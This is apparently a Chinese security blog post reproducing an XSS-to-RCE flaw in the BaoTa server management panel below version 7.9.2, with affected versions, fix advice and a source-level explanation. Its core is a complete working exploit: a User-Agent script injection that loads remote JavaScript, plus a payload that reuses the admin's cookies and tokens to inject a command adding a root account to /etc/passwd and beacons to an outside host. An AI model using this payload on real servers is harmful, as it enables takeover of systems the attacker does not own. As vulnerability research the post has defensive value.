宝塔面板RCE漏洞复现


0x01 宝塔面板简介

​ 宝塔面板是一款服务器管理软件,支持windows和linux系统,可以通过Web端轻松管理服务器,提升运维效率。例如:创建管理网站、FTP、数据库,拥有可视化文件管理器,可视化软件管理器,可视化CPU、内存、流量监控图表,计划任务等功能。

0x02 影响版本

该RCE与历史漏洞相似,同样是XSS到RCE,漏洞已在最新版7.9.3修复,漏洞影响范围<7.9.2,修复方式就是把版本直接更新到最新版7.9.3以上即可,如果对业务有影响不能更新的话就把日志记录的时候过滤下XSS即可。

0x03 环境搭建

准备一台centos7服务器运行宝塔安装命令yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484bec

安装完成后打开默认地址并登录,新建一个web网站,使用手册详见宝塔官网(https://www.bt.cn/)

为了方便记录搭建一个接受RCE成功执行的平台

0x04 漏洞复现

JS payload

这个文件需要放目标机器可以访问到的地方,我这里放到了自己的云服务器上

//JQuery preload (optional)
(function(){
    var s = document.createElement('script');s.type =
        'text/javascript';s.async = true;s.src =
        'https://code.jquery.com/jquery-2.1.4.min.js';

    (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();
// cookie
let cookies = document.cookie;
function getCookie(sKey) {
    if (!sKey) { return null; }
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\- \.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}
all_headers = {
    "Accept":"*/*",
    "X-Requested-With":"XMLHttpRequest",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
    "Connection":"close",
    "Accept-Encoding":"gzip, deflate",
    "dnt":"1",
    "sec-gpc":"1",
    "Cookie": cookies,
    "x-cookie-token": getCookie('request_token'),
    "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
    "x-http-token": $('#request_token_head').attr('token'),
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}

$.ajax({
    url: "/ajax",
    type: "get",
    data:{"action":"get_lines","filename":"/etc","num":"|echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >> /etc/passwd|"},
    headers: all_headers,
    success: function (data) {
        console.info(data);
    }
});


$.ajax({
    url: "http://test.com/index/rce/acceptall",
    type: "get",
    data:{"url":window.location.href,"title":$(document).attr('title'),"type":1},
    headers: all_headers,
    success: function (data) {
        console.info(data);
    }
});

复现过程

查看攻击前的 /etc/passwd 文件

向这个网站发包

在 User-Agent 插入攻击代码并发送

</tExtArEa>"><script src=http://test.com/test/1.js></script>

在宝塔管理端点击查看日志,看到日志底部出现了乱码,此时宝塔面板已经加载并执行了我们的 JS payload

再次查看 /etc/passwd 文件发现被改写,说明成功RCE

接受记录的平台

0x05 原理分析

这里我用的环境是7.9.0版

漏洞原理是 XSS+后台RCE的组合拳

首先是日志展示页面可以用</textarea>闭合

分析源码,看看宝塔是如何读取日志的

这里有一个getsitelogs函数,其中获取了网站的日志路径,然后传进了GetNumLines函数,跟进去如下

函数里面语句较多,但是并没有任何的过滤

然后returnMsg直接return回来

其中日志是由nginx保存的,宝塔读取日志数据并return回来,无任何过滤,加上拼接,即可造成xss

那么如何扩大危害造成rce呢?宝塔其中有一个getlines函数如下

那么我们转回来看getline函数

先判断了传来的filename存不存在,不存在就return,如果存在的话就往下进行拼接num和filename,所以我们就知道了怎么可以rce,传一个必定存在的filename,然后num执行命令就可以了,但因为这是在后台,所以需要xss+csrf配合触发。

参考文章


文章作者: Captured
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Captured !
评论
 上一篇
OpenSSH操作系统命令注入 OpenSSH操作系统命令注入
OpenSSH 8.3p1及以前版本中的scp容许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。
2023-06-06
下一篇 
Thinkphp多语言漏洞复现 Thinkphp多语言漏洞复现
ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用。
2023-02-05
  目录